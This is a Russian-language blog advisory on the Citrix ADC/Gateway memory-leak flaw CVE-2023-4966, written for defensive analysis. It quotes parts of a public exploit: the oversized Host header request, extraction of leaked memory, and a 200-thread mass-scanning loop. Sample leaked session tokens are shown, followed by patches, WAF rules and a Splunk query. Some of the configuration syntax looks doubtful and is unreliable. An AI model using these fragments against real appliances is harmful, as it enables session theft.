Уязвимость контроллера доставки приложений Citrix ADC
Уязвимость контроллера доставки приложений Citrix ADC
Категория: Программы Теги: Уязвимости Опубликовано: 13 мая 2025

Уязвимость BDU:2023-06568 (cve-2023-4966) в Citrix ADC и Citrix Gateway

Уязвимость BDU:2023-06568 (cve-2023-4966) типа Buffer Overflow (переполнение буфера) в Citrix ADC (ранее NetScaler ADC) и Citrix Gateway. Она связана с некорректной обработкой HTTP-заголовка Host при обращении к эндпоинту /oauth/idp/.well-known/openid-configuration. Атакующий может передать специально сформированный заголовок длиной более 24 576 символов, что приводит к чтению произвольных областей памяти и утечке конфиденциальных данных, включая сессии аутентификации, токены и системную информацию.

Анализ уязвимости

Уровень опасности: 9.4 (Критический)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

  • AV:N (Сетевой вектор)

  • AC:L (Низкая сложность эксплуатации)

  • PR:N (Привилегии не требуются)

  • UI:N (Взаимодействие с пользователем отсутствует)

  • S:U (Влияние на другие системы отсутствует)

  • C:H (Высокое влияние на конфиденциальность)

  • I:H (Высокое влияние на целостность)

  • A:L (Низкое влияние на доступность)

Уязвимость критической тяжести: позволяет удаленно получить доступ к конфиденциальным данным, нарушить целостность системы без привилегий, участия пользователя или сложных условий. Доступность системы снижается незначительно.

Уязвимость не требует аутентификации и может эксплуатироваться удаленно через сеть.

Условия эксплуатации

  1. Доступ к уязвимому эндпоинту:
    Эндпоинт /oauth/idp/.well-known/openid-configuration должен быть публично доступен. В стандартных конфигурациях Citrix ADC/Gateway этот путь открыт для анонимных запросов.

  2. Версия ПО:
    Затронуты версии:

    • Citrix ADC 13.0 < 13.0-92.19

    • Citrix ADC 13.1 < 13.1-49.15

    • Citrix ADC 14.1 < 14.1-8.50

    • Citrix Gateway 13.0 < 13.0-92.19

    • Citrix Gateway 13.1 < 13.1-49.15

    • Citrix Gateway 14.1 < 14.1-8.50

Технический анализ эксплоита

Рассмотрим эксплоит из общего доступа к уязвимости BDU:2023-06568 (cve-2023-4966):

Ключевые компоненты кода

1. Формирование вредоносного запроса
HEADERS = {"Host": "a" * 24576}  # Создание переполняющего буфер заголовка

response = requests.get(
    f"https://{url}/oauth/idp/.well-known/openid-configuration", 
    headers=HEADERS, 
    verify=False
)

Заголовок Host длиной 24 576 символа вызывает переполнение в буфере Citrix, приводящее к утечке данных памяти.

2. Извлечение утекших данных
memory_data = response.text[131050:]  # Обрезка стандартного ответа для получения "мусорных" данных

Смещение 131050 эмпирически определено разработчиками эксплоита как точка начала утечки.

3. Многопоточная обработка целей
with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
    futures = [executor.submit(exploit, url) for url in subdomains]

Использование пула из 200 потоков позволяет атаковать тысячи целей одновременно.

Пример вывода эксплоита

-------------------------------------------Dumped Memory ---------------------------------------------------------------
[INFO]: Dumped memory for this target: vulnerable-gw.example.com
[��sessionid=ABCE1234...; auth_token=Bearer eyJhbGci...; internal_ip=192.168.1.10...]
-------------------------------------------END--------------------------------------------------------------------------

Где используется уязвимый компонент?

Citrix ADC/Gateway применяется в:

  • Системах балансировки нагрузки банковских приложений.

  • VPN-шлюзах корпоративных сетей (например, для доступа к внутренним CRM).

  • Защищенных прокси-серверах государственных учреждений.

Методы защиты

1. Обновление версий

Установите патчи для актуальных версий:

# Для Citrix ADC 13.0
upgrade system image ns-13.0-92.19.nc

# Для Citrix Gateway 14.1
apply system image ns-14.1-8.50.nc

2. Конфигурация WAF

Добавьте правила для блокировки длинных заголовков в Citrix Web App Firewall:

add policy expression check_host_header "HTTP.REQ.HEADER(\"Host\").LENGTH.GT(24576)"
bind responder global check_host_header RESET

3. Ограничение доступа к эндпоинтам

Измените конфигурацию AAA:

# /nsconfig/aaa.conf
disable path "/oauth/idp/.well-known/openid-configuration"

4. Мониторинг аномалий

Пример правила для Splunk:

index=citrix_gw (url="/oauth/idp/.well-known/openid-configuration") 
| stats count by clientip 
| where count > 5  # Обнаружение массовых запросов
Алексей Черемных Алексей Черемных
59